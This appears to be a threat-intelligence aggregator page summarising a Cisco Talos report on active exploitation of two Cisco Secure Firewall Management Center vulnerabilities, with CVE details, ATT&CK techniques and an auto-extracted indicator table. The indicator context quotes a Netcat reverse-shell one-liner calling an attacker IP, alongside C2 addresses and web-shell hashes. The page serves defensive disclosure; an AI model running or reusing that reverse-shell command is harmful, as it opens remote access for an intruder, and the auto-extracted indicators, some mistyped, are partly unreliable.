Active exploitation of Cisco Secure Firewall Management Center vulnerabilities
Cisco Talos reports in-the-wild exploitation of critical FMC flaw CVE-2026-20079 by three clusters including a Sandworm-linked APT and Qilin ransomware affiliates.
Cisco Talos is tracking active exploitation of CVE-2026-20079 (CVSS 10.0), an authentication bypass in Cisco Secure Firewall Management Center that lets unauthenticated remote attackers execute scripts and obtain root access, and CVE-2026-20316 (CVSS 5.3), which permits low-privileged logins and can be chained for privilege escalation. Talos identified three post-compromise clusters: UAT-12197 deploying JSP web shells and a JAR command executor for credential theft; UAT-11823, an APT overlapping with Sandworm, deploying a Netcat reverse shell and Cyclops Blink malware; and UAT-11988, assessed as a ransomware operator with TTPs consistent with Qilin affiliates. Hotfixes are available, with a comprehensive hardening release due the week of September 14, 2026.
- CVE-2026-20079 (CVSS 10.0) allows unauthenticated remote attackers to bypass authentication and gain root on FMC.
- CVE-2026-20316 (CVSS 5.3) permits low-privileged logins and can be chained for privilege escalation.
- UAT-11823 activity overlaps Sandworm and deployed Cyclops Blink malware; UAT-11988 shows Qilin ransomware TTPs.
- UAT-12197 used JSP web shells and a JAR command executor to query databases and steal credentials.
- Hotfixes are available; a broader hardening release ships the week of September 14, 2026.
- ATT&CK
- T1190 Exploit Public-Facing ApplicationT1505.003 Web ShellT1059.004 Unix ShellT1078 Valid AccountsT1572 Protocol Tunneling
- Tags
- ciscocve-2026-20079cve-2026-20316cyclops-blinkqilinsandwormsecure-firewall-management-centerweb-shell
- Vendors
- CiscoCisco Talos
- Malware
- Cyclops Blink
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2026-20079 | Authentication bypass to root access in Cisco Secure Firewall Management Center | 10.0 | 88% | KEVPoC ×2 | KEV |
| CVE-2026-20316 | Hard-Coded Password Vulnerability in Cisco Secure Firewall Management Center | 5.3 | 35% | KEVRansomware | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | cmd.jar | same directory. The threat actors used the JAR file (named “cmd[.]jar”) to query the compromised systems’ internal databases to |
| domain | home.jsp | 25a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d UAT-12197 home[.]jsp – web shell. Db491181ece3f319de6567ab6f6daa90c6879911cd89 |
| ipv4 | 104.218.165.253 | 208.123.119[.]215 UAT-11823 NetCat-based reverse shell C2. 104.218.165[.]253 UAT-11823 Attacker’s vulnerability scanner for CVE-2026-2 |
| ipv4 | 208.123.119.215 | rver: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f This license file essentially acted as a |
| ipv4 | 43.204.2.142 | 6f7881742d6b93bd8e3d2fe461 UAT-11823 Cyclops Blink malware. 43.204.2[.]142 UAT-11988 Attacker IP address used to conduct intrusions. |
| ipv4 | 89.34.96.56 | c7a1a8c8e UAT-12197 cmd[.]jar – JAR-based command executor. 89.34.96[.]56 UAT-11823 NetCat-based reverse shell C2. Cyclop Blink C2. |
| ipv4 | 91.214.78.118 | -11823 Attacker’s vulnerability scanner for CVE-2026-20079. 91.214.78[.]118 UAT-11823 NetCat-based reverse shell C2. 6f98add5d1a77291 |
| sha256 | 6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461 | 9. 91.214.78[.]118 UAT-11823 NetCat-based reverse shell C2. 6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461 UAT-11823 Cyclops Blink malware. 43.204.2[.]142 UAT-11988 A |
| sha256 | b037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d | ble on our GitHub repository here . IOC Cluster Description B037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d UAT-12197 home[.]jsp – web shell. Db491181ece3f319de6567ab6 |
| sha256 | db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e | d0fdfd07162cb4eb2acbef77d UAT-12197 home[.]jsp – web shell. Db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e UAT-12197 cmd[.]jar – JAR-based command executor. 89.34.96[ |
From the original article
6 min read at blog.talosintelligence.com
Cisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco’s Secure Firewall Management Center (FMC) Software.
blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.